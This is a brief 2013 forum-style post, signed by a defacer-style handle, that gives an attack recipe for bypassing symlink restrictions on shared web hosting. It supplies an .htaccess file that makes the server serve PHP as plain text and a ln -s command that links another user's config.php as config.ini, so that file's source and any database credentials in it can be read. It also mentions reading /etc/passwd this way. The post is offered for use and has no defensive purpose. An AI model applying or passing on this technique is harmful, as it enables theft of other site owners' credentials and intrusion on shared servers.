Symlink bypass - TopicsExpress



          

Symlink bypass vulnerability ########################################## symlink bypass with ini method when you symlink /etc/passwd and you can read it but symlink /home/user/public_html/config.php opposite with error : lscgid : execve() :/home/[patch]/public_html/ now you make a .htaccess file in current directory and copy this contain in it: Then symlink with this command: ln -s /home/user/public_html/config.php config.ini You see bypassed error execve() :/home/[patch]/public_html/ and can you read config.ini ########################################## .htaccess file: Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType txt .php AddHandler txt .php ########################################## [@] By Mauritania Attacker
Posted on: Sun, 18 Aug 2013 10:57:20 +0000

Trending Topics



Recently Viewed Topics




© 2015